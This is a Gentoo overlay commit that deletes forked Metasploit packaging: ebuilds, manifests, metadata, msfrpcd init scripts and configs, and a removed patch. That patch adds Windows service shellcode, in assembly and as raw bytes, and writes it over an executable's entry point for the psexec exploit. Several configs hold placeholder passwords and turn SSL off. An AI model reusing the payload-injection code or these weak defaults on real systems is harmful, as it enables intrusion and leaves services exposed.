unfork metasploit stuff from gentoo, too much work to keep it forked

This commit is contained in:
Rick Farina (Zero_Chaos) 2015-10-08 17:05:46 -04:00
parent 10438b0609
commit 8fa05bc459
23 changed files with 0 additions and 1191 deletions

View file

@ -1 +0,0 @@
DIST metasm-1.0.2.gem 746496 SHA256 075f63f78e02b02fac991c3e2cc2c2c12b31a3d2ac580ffa66ba2a6e6c3c966f SHA512 b5f90e46be0d3b86c2b525823aa1fc1ea711a8abe9edaf2908af73d869e1f6dc5163f45ea20bd1034b0f10b17c25e7b7cd9af6a77ebfbf24d925a68a84d264e3 WHIRLPOOL 229fd1f8b80025b4fbf67fefe095e8815eb6cf1ab1d01985e8444dad9bda32cfb8da6953cf4937caa8496a77ebd4d4a3d6bd7d6fdfa56008b57c1010bff45bbd

View file

@ -1,10 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
<pkgmetadata>
<maintainer>
<email>zerochaos@gentoo.org</email>
<name>Rick Farina</name>
</maintainer>
<longdescription lang="en">
</longdescription>
</pkgmetadata>

View file

@ -1,52 +0,0 @@
# Copyright 1999-2015 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2
# $Id$
EAPI=5
USE_RUBY="ruby19 ruby20 ruby21"
inherit ruby-fakegem
RUBY_FAKEGEM_EXTRAINSTALL="metasm metasm.rb misc samples"
DESCRIPTION="cross-architecture assembler, disassembler, linker, and debugger"
HOMEPAGE="http://metasm.cr0.org/"
SRC_URI="mirror://rubygems/${P}.gem"
LICENSE="BSD"
SLOT="${PV}"
KEYWORDS="~amd64 ~arm ~x86"
#IUSE="development test"
RESTRICT=test
IUSE=""
RDEPEND="${RDEPEND} !dev-ruby/metasploit-model:0"
ruby_add_rdepend ">=dev-ruby/railties-4.0.9:4.0
>=dev-ruby/activesupport-4.0.9:4.0
>=dev-ruby/activemodel-4.0.9:4.0"
ruby_add_bdepend "dev-ruby/bundler"
all_ruby_prepare() {
[ -f Gemfile.lock ] && rm Gemfile.lock
#For now, we don't support development or testing at all
#if ! use development; then
sed -i -e "/^group :development do/,/^end$/d" Gemfile || die
sed -i -e "/s.add_development_dependency/d" "${PN}".gemspec || die
sed -i -e "/spec.add_development_dependency/d" "${PN}".gemspec || die
#fi
#if ! use test; then
sed -i -e "/^group :test do/,/^end$/d" Gemfile || die
#fi
#if ! use test && ! use development; then
sed -i -e "/^group :development, :test do/,/^end$/d" Gemfile || die
#fi
}
each_ruby_prepare() {
if [ -f Gemfile ]
then
BUNDLE_GEMFILE=Gemfile ${RUBY} -S bundle install --local || die
BUNDLE_GEMFILE=Gemfile ${RUBY} -S bundle check || die
fi
}

View file

@ -1 +0,0 @@
DIST metasploit-credential-1.0.1.gem 101888 SHA256 e37e02d962a00733f8a82d486ee8b38aa287503d61812fba9cca05e834d873ca SHA512 e2d77cf1af9b9f7c09c3b98fc61c032dd5890bc019d09e208706ea93560402c82abc5a3dbc178442fbc1597d9e43e8a98f76bdb71fe470e7091d5e79bb30660f WHIRLPOOL 15b568fa61f64d895df9a7c5c04ae22232f9d805fca71c565fc2db871b4c443c163a922d52faa1953b3fadb157d71a6ea1866d2f740eff0db3262d78066c812e

View file

@ -1,13 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
<pkgmetadata>
<maintainer>
<email>zerochaos@gentoo.org</email>
<name>Rick Farina</name>
</maintainer>
<longdescription lang="en">
</longdescription>
<upstream>
<remote-id type="github">rapid7/metasploit-credential</remote-id>
</upstream>
</pkgmetadata>

View file

@ -1,28 +0,0 @@
# Copyright 1999-2015 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2
# $Header: Exp $
EAPI=5
USE_RUBY="ruby19 ruby20 ruby21"
inherit ruby-fakegem
RUBY_FAKEGEM_EXTRAINSTALL="app config db spec"
DESCRIPTION="Code for modeling and managing credentials in Metasploit"
HOMEPAGE="https://github.com/rapid7/metasploit-credential"
SRC_URI="mirror://rubygems/${P}.gem"
LICENSE="BSD"
SLOT="${PV}"
KEYWORDS="~amd64 ~arm ~x86"
IUSE=""
ruby_add_rdepend ">=dev-ruby/metasploit-concern-1.0.0:1.0
>=dev-ruby/metasploit_data_models-1.2.0
>=dev-ruby/metasploit-model-1.0.0
dev-ruby/rubyzip:1
dev-ruby/rubyntlm
>=dev-ruby/railties-4.0.9:4.0
dev-ruby/net-ssh
dev-ruby/pg"

View file

@ -1,2 +0,0 @@
DIST metasploit-payloads-1.0.13.gem 5247488 SHA256 5ab4f6a2aeec94f455bed489f8d7f3cb25bb5695e48c1240522c802bcc3fa56b SHA512 8aedbf6a09a5f945e86641d2fa53bd9c9ec7273ee57f4b092b8fd684d583f1a06fa2552636d6d4e2d947bd1326175900503db246a35e594860a6c2f4be6568a9 WHIRLPOOL fa930e996ec5fc55e53632ccb8e58a9db9d037cda3ce6b6cebba6a48b87579ecabad10508abcaae5eca76b235dbba416adcc2c0392d2130de040ff3b5c06ddf2
DIST metasploit-payloads-1.0.15.gem 5249536 SHA256 8d186c3bcf8a4537b9a96301e8cc0d847335d3cfa87ca5b2e88a6b2980eab240 SHA512 58afa5c4bc191a05e3ec009d94d40f2d9fc5a025962088845db14aefc410340fdc7b1e30f17c75936495a43fc99576d188960bc5755dbec434d7428fbbdd495a WHIRLPOOL d136642c1de9b18e652c421ad3b9fd859b8d8850dd539d66d4c8b410e09064d7872bc06c505b01d5389d1e2ebe22ed6b3c88aa3a0f08a1578f204201c24b3438

View file

@ -1,45 +0,0 @@
# Copyright 1999-2014 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2
# $Header: /var/cvsroot/gentoo-x86/dev-ruby/meterpreter_bins/meterpreter_bins-0.0.10.ebuild,v 1.1 2014/10/19 23:24:24 zerochaos Exp $
EAPI=5
USE_RUBY="ruby19 ruby20 ruby21"
RUBY_FAKEGEM_TASK_DOC=""
RUBY_FAKEGEM_EXTRAINSTALL="data"
inherit ruby-fakegem
DESCRIPTION="Compiled binaries for Metasploit's Meterpreter"
HOMEPAGE="https://rubygems.org/gems/metasploit-payloads"
LICENSE="BSD"
SLOT="${PV}"
KEYWORDS="~amd64 ~arm ~x86"
IUSE=""
#no tests
RESTRICT="test strip"
QA_PREBUILT="
usr/$(get_libdir)/ruby/gems/*/gems/${PN}-${SLOT}/data/meterpreter/msflinker_linux_x86.bin
usr/$(get_libdir)/ruby/gems/*/gems/${PN}-${SLOT}/data/meterpreter/ext_server_sniffer.lso
usr/$(get_libdir)/ruby/gems/*/gems/${PN}-${SLOT}/data/meterpreter/ext_server_networkpug.lso
usr/$(get_libdir)/ruby/gems/*/gems/${PN}-${SLOT}/data/meterpreter/ext_server_stdapi.lso
usr/$(get_libdir)/ruby/gems/*/gems/${PN}-${SLOT}/data/android/libs/armeabi/libndkstager.so
usr/$(get_libdir)/ruby/gems/*/gems/${PN}-${SLOT}/data/android/libs/mips/libndkstager.so
usr/$(get_libdir)/ruby/gems/*/gems/${PN}-${SLOT}/data/android/libs/x86/libndkstager.so
"
src_install() {
ruby-ng_src_install
#tell revdep-rebuild to ignore binaries meant for the target
dodir /etc/revdep-rebuild
cat <<-EOF > "${ED}"/etc/revdep-rebuild/99-${PN}-${SLOT}
#These dirs contain prebuilt binaries for running on the TARGET not the HOST
SEARCH_DIRS_MASK="/usr/lib*/ruby/gems/*/gems/${PN}-${SLOT}/data/android/libs"
EOF
}

View file

@ -1,45 +0,0 @@
# Copyright 1999-2015 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2
# $Header: /var/cvsroot/gentoo-x86/dev-ruby/meterpreter_bins/meterpreter_bins-0.0.10.ebuild,v 1.1 2014/10/19 23:24:24 zerochaos Exp $
EAPI=5
USE_RUBY="ruby19 ruby20 ruby21"
RUBY_FAKEGEM_TASK_DOC=""
RUBY_FAKEGEM_EXTRAINSTALL="data"
inherit ruby-fakegem
DESCRIPTION="Compiled binaries for Metasploit's Meterpreter"
HOMEPAGE="https://rubygems.org/gems/metasploit-payloads"
LICENSE="BSD"
SLOT="${PV}"
KEYWORDS="~amd64 ~arm ~x86"
IUSE=""
#no tests
RESTRICT="test strip"
QA_PREBUILT="
usr/$(get_libdir)/ruby/gems/*/gems/${PN}-${SLOT}/data/meterpreter/msflinker_linux_x86.bin
usr/$(get_libdir)/ruby/gems/*/gems/${PN}-${SLOT}/data/meterpreter/ext_server_sniffer.lso
usr/$(get_libdir)/ruby/gems/*/gems/${PN}-${SLOT}/data/meterpreter/ext_server_networkpug.lso
usr/$(get_libdir)/ruby/gems/*/gems/${PN}-${SLOT}/data/meterpreter/ext_server_stdapi.lso
usr/$(get_libdir)/ruby/gems/*/gems/${PN}-${SLOT}/data/android/libs/armeabi/libndkstager.so
usr/$(get_libdir)/ruby/gems/*/gems/${PN}-${SLOT}/data/android/libs/mips/libndkstager.so
usr/$(get_libdir)/ruby/gems/*/gems/${PN}-${SLOT}/data/android/libs/x86/libndkstager.so
"
src_install() {
ruby-ng_src_install
#tell revdep-rebuild to ignore binaries meant for the target
dodir /etc/revdep-rebuild
cat <<-EOF > "${ED}"/etc/revdep-rebuild/99-${PN}-${SLOT}
#These dirs contain prebuilt binaries for running on the TARGET not the HOST
SEARCH_DIRS_MASK="/usr/lib*/ruby/gems/*/gems/${PN}-${SLOT}/data/android/libs"
EOF
}

View file

@ -1,219 +0,0 @@
diff -Naur metasploit-9999.orig/external/source/shellcode/windows/x86/src/block/block_service.asm metasploit-9999/external/source/shellcode/windows/x86/src/block/block_service.asm
--- metasploit-9999.orig/external/source/shellcode/windows/x86/src/block/block_service.asm 1970-01-01 01:00:00.000000000 +0100
+++ metasploit-9999/external/source/shellcode/windows/x86/src/block/block_service.asm 2013-11-20 11:50:48.256366095 +0100
@@ -0,0 +1,64 @@
+;-----------------------------------------------------------------------------;
+; Author: agix (florian.gaultier[at]gmail[dot]com)
+; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
+; Size: 137 bytes
+;-----------------------------------------------------------------------------;
+
+[BITS 32]
+; Input: EBP must be the address of 'api_call'.
+
+push byte 0x0
+push 0x32336970
+push 0x61766461
+push esp
+push 0x726774c
+call ebp ;load advapi32.dll
+push 0x00454349
+push 0x56524553
+mov ecx, esp ;ServiceTableEntry.SVCNAME
+lea eax, [ebp+0xd0];ServiceTableEntry.SvcMain
+push 0x00000000
+push eax
+push ecx
+mov eax,esp
+push 0x00000000
+push eax
+push 0xCB72F7FA
+call ebp ;call StartServiceCtrlDispatcherA(ServiceTableEntry)
+push 0x00000000
+push 0x56A2B5F0
+call ebp ;call ExitProcess(0)
+pop eax ;SvcCtrlHandler
+pop eax
+pop eax
+pop eax
+xor eax,eax
+ret
+cld ;SvcMain
+call me
+me:
+pop ebp
+sub ebp, 0xd6 ;ebp => hashFunction
+push 0x00464349
+push 0x56524553
+mov ecx, esp ;SVCNAME
+lea eax, [ebp+0xc9];SvcCtrlHandler
+push 0x00000000
+push eax
+push ecx
+push 0x5244AA0B
+call ebp ;RegisterServiceCtrlHandlerExA
+push 0x00000000
+push 0x00000000
+push 0x00000000
+push 0x00000000
+push 0x00000000
+push 0x00000000
+push 0x00000004
+push 0x00000010
+mov ecx, esp
+push 0x00000000
+push ecx
+push eax
+push 0x7D3755C6
+call ebp ;SetServiceStatus RUNNING
\ No newline at end of file
diff -Naur metasploit-9999.orig/external/source/shellcode/windows/x86/src/single/single_service_stuff.asm metasploit-9999/external/source/shellcode/windows/x86/src/single/single_service_stuff.asm
--- metasploit-9999.orig/external/source/shellcode/windows/x86/src/single/single_service_stuff.asm 1970-01-01 01:00:00.000000000 +0100
+++ metasploit-9999/external/source/shellcode/windows/x86/src/single/single_service_stuff.asm 2013-11-20 11:50:48.256366095 +0100
@@ -0,0 +1,17 @@
+;-----------------------------------------------------------------------------;
+; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
+; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
+; Version: 1.0 (28 July 2009)
+; Size: 189 bytes + strlen(libpath) + 1
+; Build: >build.py single_service_stuff
+;-----------------------------------------------------------------------------;
+
+[BITS 32]
+[ORG 0]
+
+ cld ; Clear the direction flag.
+ call start ; Call start, this pushes the address of 'api_call' onto the stack.
+%include "./src/block/block_api.asm"
+start: ;
+ pop ebp ; pop off the address of 'api_call' for calling later.
+%include "./src/block/block_service.asm"
\ No newline at end of file
diff -Naur metasploit-9999.orig/lib/msf/util/exe.rb metasploit-9999/lib/msf/util/exe.rb
--- metasploit-9999.orig/lib/msf/util/exe.rb 2013-11-20 11:50:31.748365346 +0100
+++ metasploit-9999/lib/msf/util/exe.rb 2013-11-20 11:50:48.256366095 +0100
@@ -402,36 +402,86 @@
case opts[:exe_type]
when :service_exe
+ exe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
max_length = 8192
name = opts[:servicename]
- if name
- bo = pe.index('SERVICENAME')
- raise RuntimeError, "Invalid PE Service EXE template: missing \"SERVICENAME\" tag" if not bo
- pe[bo, 11] = [name].pack('a11')
+ if not name
+ name = Rex::Text.rand_text_alpha(7)
end
-
- if not opts[:sub_method]
- pe[136, 4] = [rand(0x100000000)].pack('V')
+ #code_service could be encoded in the future
+ code_service =
+ "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
+ "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
+ "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
+ "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
+ "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
+ "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
+ "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
+ "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
+ "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
+ "\x6A\x00\x68\x70\x69\x33\x32\x68\x61\x64\x76\x61\x54\x68\x4C\x77" +
+ "\x26\x07\xFF\xD5\x68"+name[4,3]+"\x00\x68"+name[0,4]+"\x89\xE1" +
+ "\x8D\x85\xD0\x00\x00\x00\x6A\x00\x50\x51\x89\xE0\x6A\x00\x50\x68" +
+ "\xFA\xF7\x72\xCB\xFF\xD5\x6A\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x58" +
+ "\x58\x58\x58\x31\xC0\xC3\xFC\xE8\x00\x00\x00\x00\x5D\x81\xED\xD6" +
+ "\x00\x00\x00\x68"+name[4,3]+"\x00\x68"+name[0,4]+"\x89\xE1\x8D" +
+ "\x85\xC9\x00\x00\x00\x6A\x00\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5" +
+ "\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x04\x6A\x10" +
+ "\x89\xE1\x6A\x00\x51\x50\x68\xC6\x55\x37\x7D\xFF\xD5"
+
+ pe_header_size=0x18
+ section_size=0x28
+ characteristics_offset=0x24
+ virtualAddress_offset=0xc
+ sizeOfRawData_offset=0x10
+
+ sections_table_rva = exe._dos_header.v['e_lfanew']+exe._file_header.v['SizeOfOptionalHeader']+pe_header_size
+ sections_table_offset = exe.rva_to_file_offset(sections_table_rva)
+ sections_table_characteristics_offset = exe.rva_to_file_offset(sections_table_rva+characteristics_offset)
+
+ sections_header = []
+ exe._file_header.v['NumberOfSections'].times { |i|
+ sections_header << [sections_table_characteristics_offset+(i*section_size),pe[sections_table_offset+(i*section_size),section_size]]
+ }
+
+ #look for section with entry point
+ sections_header.each do |sec|
+ virtualAddress = sec[1][virtualAddress_offset,0x4].unpack('L')[0]
+ sizeOfRawData = sec[1][sizeOfRawData_offset,0x4].unpack('L')[0]
+ characteristics = sec[1][characteristics_offset,0x4].unpack('L')[0]
+ if exe.hdr.opt.AddressOfEntryPoint >= virtualAddress && exe.hdr.opt.AddressOfEntryPoint < virtualAddress+sizeOfRawData
+ #put this section writable
+ characteristics|=0x80000000
+ newcharacteristics = [characteristics].pack('L')
+ pe[sec[0],newcharacteristics.length]=newcharacteristics
+ end
end
+
+ #put the shellcode at the entry point, overwriting template
+ pe[exe.rva_to_file_offset(exe.hdr.opt.AddressOfEntryPoint),code_service.length+code.length]=code_service+code
+
when :dll
max_length = 2048
when :exe_sub
max_length = 4096
end
- bo = pe.index('PAYLOAD:')
- raise RuntimeError, "Invalid PE EXE subst template: missing \"PAYLOAD:\" tag" if not bo
+ if opts[:exe_type] != :service_exe
- if (code.length <= max_length)
- pe[bo, code.length] = [code].pack("a*")
- else
- raise RuntimeError, "The EXE generator now has a max size of #{max_length} bytes, please fix the calling module"
- end
+ bo = pe.index('PAYLOAD:')
+ raise RuntimeError, "Invalid PE EXE subst template: missing \"PAYLOAD:\" tag" if not bo
- if opts[:exe_type] == :dll
- mt = pe.index('MUTEX!!!')
- pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
+ if (code.length <= max_length)
+ pe[bo, code.length] = [code].pack("a*")
+ else
+ raise RuntimeError, "The EXE generator now has a max size of #{max_length} bytes, please fix the calling module"
+ end
+
+ if opts[:exe_type] == :dll
+ mt = pe.index('MUTEX!!!')
+ pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
+ end
end
return pe
@@ -463,7 +513,7 @@
def self.to_win32pe_service(framework, code, opts={})
# Allow the user to specify their own service EXE template
- set_template_default(opts, "template_x86_windows_svc.exe")
+ set_template_default(opts, "template_x86_windows.exe")
opts[:exe_type] = :service_exe
exe_sub_method(code,opts)
end
diff -Naur metasploit-9999.orig/modules/exploits/windows/smb/psexec.rb metasploit-9999/modules/exploits/windows/smb/psexec.rb
--- metasploit-9999.orig/modules/exploits/windows/smb/psexec.rb 2013-11-20 11:50:31.988365357 +0100
+++ metasploit-9999/modules/exploits/windows/smb/psexec.rb 2013-11-20 11:50:48.256366095 +0100
@@ -153,7 +153,7 @@
# Disconnect from the ADMIN$
simple.disconnect("ADMIN$")
else
- servicename = rand_text_alpha(8)
+ servicename = rand_text_alpha(7)
# Upload the shellcode to a file
print_status("Uploading payload...")

View file

@ -1,34 +0,0 @@
#
# The tests currently use the development user
# https://dev.metasploit.com/redmine/issues/8418
#
development:
adapter: "postgresql"
database: "msf_test_database"
username: "msf_test_user"
password: "secure"
port: 5432
host: "localhost"
pool: 256
timeout: 5
production:
adapter: "postgresql"
database: "msf_database"
username: "msf_user"
password: "secure"
port: 5432
host: "localhost"
pool: 256
timeout: 5
test:
adapter: "postgresql"
database: "msf_test_database"
username: "msf_test_user"
password: "secure"
port: 5432
host: "localhost"
pool: 256
timeout: 5

View file

@ -1,224 +0,0 @@
/* XPM */
static char *metasploit[] = {
/* columns rows colors chars-per-pixel */
"48 48 170 2 ",
" c #000000",
". c #0B0B0B",
"X c #131313",
"o c #1C1C1C",
"O c #251B0D",
"+ c #2C2112",
"@ c #2C241C",
"# c #081933",
"$ c #061F3B",
"% c #07203C",
"& c #09223C",
"* c #232323",
"= c #2D2D2D",
"- c #353535",
"; c #383838",
": c #0C2141",
"> c #0F264C",
", c #0F284D",
"< c #072755",
"1 c #082754",
"2 c #062855",
"3 c #0E2C57",
"4 c #072858",
"5 c #0D2F5C",
"6 c #033A6E",
"7 c #1A3166",
"8 c #043C72",
"9 c #2F456F",
"0 c #2A4174",
"q c #314774",
"w c #314A75",
"e c #424242",
"r c #444A5F",
"t c #545454",
"y c #5B5B5B",
"u c #414B60",
"i c #515A6F",
"p c #4B6975",
"a c #416679",
"s c #46697B",
"d c #4D6D7C",
"f c #636363",
"g c #686868",
"h c #727272",
"j c #7B7B7B",
"k c #B37777",
"l c #C76852",
"z c #F26E40",
"x c #C77A6F",
"c c #DA8D75",
"v c #023986",
"b c #002F99",
"n c #043296",
"m c #043898",
"M c #0038A0",
"N c #094089",
"B c #1C4583",
"V c #194997",
"C c #1E4E9F",
"Z c #215192",
"A c #225A9F",
"S c #3D5C98",
"D c #3B6F8A",
"F c #0D43AD",
"G c #1F4EA2",
"H c #1F4EAA",
"J c #1753BB",
"K c #1852B9",
"L c #224FA8",
"P c #2450A4",
"I c #2E55A0",
"U c #2755AD",
"Y c #2956AE",
"T c #3464A5",
"R c #2963BC",
"E c #466E81",
"W c #447082",
"Q c #6C739A",
"! c #4471B1",
"~ c #4873B6",
"^ c #4870BB",
"/ c #4D78BA",
"( c #0D53C3",
") c #1866C9",
"_ c #046EDB",
"` c #126FD4",
"' c #0C73DD",
"] c #3767C7",
"[ c #326AC2",
"{ c #3D75C4",
"} c #3574C8",
"| c #3B74C9",
" . c #3E79CC",
".. c #2F74D3",
"X. c #3B7BD0",
"o. c #006EE5",
"O. c #0479E5",
"+. c #0074E9",
"@. c #087EEC",
"#. c #1479E1",
"$. c #497AC7",
"%. c #447BCD",
"&. c #487FD2",
"*. c #5B84A8",
"=. c #3B82DA",
"-. c #0C86EF",
";. c #1F80E5",
":. c #1393F9",
">. c #1C99FB",
",. c #348FEC",
"<. c #3290E5",
"1. c #3491EB",
"2. c #2490F3",
"3. c #279EFD",
"4. c #3CA8FF",
"5. c #5394D2",
"6. c #758FC3",
"7. c #689AD3",
"8. c #7399D1",
"9. c #4090E6",
"0. c #4990E4",
"q. c #4694EB",
"w. c #559BED",
"e. c #4B9BF1",
"r. c #539FF3",
"t. c #45A4FD",
"y. c #47AAFA",
"u. c #56A0F4",
"i. c #5AA4F5",
"p. c #5CA6F8",
"a. c #56B5FD",
"s. c #71A3E1",
"d. c #65AFFB",
"f. c #66B7FF",
"g. c #68B7FF",
"h. c #6CC2FF",
"j. c #70C9FF",
"k. c #7CD7FF",
"l. c #7ED9FF",
"z. c #838383",
"x. c #8B8B8B",
"c. c #939393",
"v. c #9D9D9D",
"b. c #B18A8B",
"n. c #9193AB",
"m. c #A3A3A3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default 55553
#MSF_OPTS="${MSF_OPTS} -p 55553"
# Specify the username to access msfrpcd
MSF_OPTS="${MSF_OPTS} -U msf"
# Specify the password to access msfrpcd
MSF_OPTS="${MSF_OPTS} -P secret"
# Server type, [Basic|Web]
#MSF_OPTS="${MSF_OPTS} -t Basic"
# URI for Web server
#MSF_OPTS="${MSF_OPTS} -u "
# Disable SSL on the XMLRPC socket
# JAVA GUI doesn't support SSL as of Nov 6, 2010
MSF_OPTS="${MSF_OPTS} -S"

View file

@ -1,22 +0,0 @@
#!/sbin/runscript
# Copyright 1999-2011 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2
# $Header: /var/cvsroot/gentoo-x86/net-analyzer/metasploit/files/msfrpcd-4.0-initd,v 1.1 2011/08/03 05:56:15 patrick Exp $
VERSION=4.0
PIDFILE=/var/run/msfrpcd${VERSION}.pid
start() {
ebegin "Starting msfrpcd${VERSION}"
start-stop-daemon --start --quiet --background \
--exec /usr/lib/metasploit${VERSION}/msfrpcd \
--pidfile ${PIDFILE} \
--make-pidfile -- -f ${MSF_OPTS}
eend $?
}
stop() {
ebegin "Stopping msfrpcd${VERSION}"
start-stop-daemon --stop --quiet -s 9 --pidfile ${PIDFILE}
eend $?
}

View file

@ -1,25 +0,0 @@
# Config file for /etc/init.d/msfrpcd
# msfrpcd -h for more info
# Bind to the following IP instead of 0.0.0.0
MSF_OPTS="-a 127.0.0.1"
# Bind to the following TCP port instead of default 55553
#MSF_OPTS="${MSF_OPTS} -p 55553"
# Specify the username to access msfrpcd
MSF_OPTS="${MSF_OPTS} -U msf"
# Specify the password to access msfrpcd
MSF_OPTS="${MSF_OPTS} -P secret"
# Server type, [Basic|Web]
#MSF_OPTS="${MSF_OPTS} -t Basic"
# URI for Web server
#MSF_OPTS="${MSF_OPTS} -u "
# Disable SSL on the XMLRPC socket
# JAVA GUI doesn't support SSL as of Nov 6, 2010
MSF_OPTS="${MSF_OPTS} -S"

View file

@ -1,22 +0,0 @@
#!/sbin/runscript
# Copyright 1999-2012 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2
# $Header: /var/cvsroot/gentoo-x86/net-analyzer/metasploit/files/msfrpcd-4.2-initd,v 1.1 2012/02/28 08:09:31 patrick Exp $
VERSION=4.2
PIDFILE=/var/run/msfrpcd${VERSION}.pid
start() {
ebegin "Starting msfrpcd${VERSION}"
start-stop-daemon --start --quiet --background \
--exec /usr/lib/metasploit${VERSION}/msfrpcd \
--pidfile ${PIDFILE} \
--make-pidfile -- -f ${MSF_OPTS}
eend $?
}
stop() {
ebegin "Stopping msfrpcd${VERSION}"
start-stop-daemon --stop --quiet -s 9 --pidfile ${PIDFILE}
eend $?
}

View file

@ -1,25 +0,0 @@
# Config file for /etc/init.d/msfrpcd
# msfrpcd -h for more info
# Bind to the following IP instead of 0.0.0.0
MSF_OPTS="-a 127.0.0.1"
# Bind to the following TCP port instead of default 55553
#MSF_OPTS="${MSF_OPTS} -p 55553"
# Specify the username to access msfrpcd
MSF_OPTS="${MSF_OPTS} -U msf"
# Specify the password to access msfrpcd
MSF_OPTS="${MSF_OPTS} -P secret"
# Server type, [Basic|Web]
#MSF_OPTS="${MSF_OPTS} -t Basic"
# URI for Web server
#MSF_OPTS="${MSF_OPTS} -u "
# Disable SSL on the XMLRPC socket
# JAVA GUI doesn't support SSL as of Nov 6, 2010
MSF_OPTS="${MSF_OPTS} -S"

View file

@ -1,22 +0,0 @@
#!/sbin/runscript
# Copyright 1999-2012 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2
# $Header: /var/cvsroot/gentoo-x86/net-analyzer/metasploit/files/msfrpcd-4.3-initd,v 1.2 2012/05/16 02:48:18 jer Exp $
VERSION=4.3
PIDFILE=/var/run/msfrpcd${VERSION}.pid
start() {
ebegin "Starting msfrpcd${VERSION}"
start-stop-daemon --start --quiet --background \
--exec /usr/lib/metasploit${VERSION}/msfrpcd \
--pidfile ${PIDFILE} \
--make-pidfile -- -f ${MSF_OPTS}
eend $?
}
stop() {
ebegin "Stopping msfrpcd${VERSION}"
start-stop-daemon --stop --quiet -s 9 --pidfile ${PIDFILE}
eend $?
}

View file

@ -1,25 +0,0 @@
# Config file for /etc/init.d/msfrpcd
# msfrpcd -h for more info
# Bind to the following IP instead of 0.0.0.0
MSF_OPTS="-a 127.0.0.1"
# Bind to the following TCP port instead of default 55553
#MSF_OPTS="${MSF_OPTS} -p 55553"
# Specify the username to access msfrpcd
MSF_OPTS="${MSF_OPTS} -U msf"
# Specify the password to access msfrpcd
MSF_OPTS="${MSF_OPTS} -P secret"
# Server type, [Basic|Web]
#MSF_OPTS="${MSF_OPTS} -t Basic"
# URI for Web server
#MSF_OPTS="${MSF_OPTS} -u "
# Disable SSL on the XMLRPC socket
# JAVA GUI doesn't support SSL as of Nov 6, 2010
MSF_OPTS="${MSF_OPTS} -S"

View file

@ -1,22 +0,0 @@
#!/sbin/runscript
# Copyright 1999-2012 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2
# $Header: /var/cvsroot/gentoo-x86/net-analyzer/metasploit/files/msfrpcd-4.4-initd,v 1.1 2012/08/24 02:28:18 zerochaos Exp $
VERSION=4.3
PIDFILE=/var/run/msfrpcd${VERSION}.pid
start() {
ebegin "Starting msfrpcd${VERSION}"
start-stop-daemon --start --quiet --background \
--exec /usr/lib/metasploit${VERSION}/msfrpcd \
--pidfile ${PIDFILE} \
--make-pidfile -- -f ${MSF_OPTS}
eend $?
}
stop() {
ebegin "Stopping msfrpcd${VERSION}"
start-stop-daemon --stop --quiet -s 9 --pidfile ${PIDFILE}
eend $?
}

View file

@ -1,13 +0,0 @@
# Config file for /etc/init.d/metasploit
# Pidfile
PIDFILE=/var/run/msfweb.pid
# Bind to the following IP instead of the loopback address
IPADDR=127.0.0.1
# Bind to the following TCP port instead of default 55555
PORT=55555
# All options
MSF_OPTS="-a $IPADDR -p $PORT"

View file

@ -1,18 +0,0 @@
#!/sbin/runscript
# Copyright 1999-2005 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2
# $Header: /var/cvsroot/gentoo-x86/net-analyzer/metasploit/files/msfweb.initd,v 1.3 2006/11/03 12:08:57 pva Exp $
start() {
ebegin "Starting msfweb"
start-stop-daemon --start --quiet --background --exec /usr/bin/msfweb \
--pidfile ${PIDFILE} --make-pidfile -- ${MSF_OPTS}
eend $?
}
stop() {
ebegin "Stopping msfweb"
start-stop-daemon --stop --quiet --pidfile ${PIDFILE}
rm -f ${PIDFILE}
eend $?
}

View file

@ -1,298 +0,0 @@
# Copyright 1999-2015 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2
# $Header: $
EAPI="5"
#never ever ever have more than one ruby in here
USE_RUBY="ruby21"
inherit eutils ruby-ng
if [[ ${PV} == "9999" ]] ; then
EGIT_REPO_URI="https://github.com/rapid7/metasploit-framework.git"
EGIT_CHECKOUT_DIR="${WORKDIR}"/all
inherit git-r3
KEYWORDS=""
SLOT="9999"
else
##Tags https://github.com/rapid7/metasploit-framework/releases
##Releases https://github.com/rapid7/metasploit-framework/wiki/Downloads-by-Version
#SRC_URI="https://github.com/rapid7/metasploit-framework/archive/${PV}.tar.gz -> ${P}.tar.gz"
##Snapshots
MY_PV=${PV/_p/-}
SRC_URI="https://github.com/rapid7/metasploit-framework/archive/${MY_PV}.tar.gz -> ${P}.tar.gz"
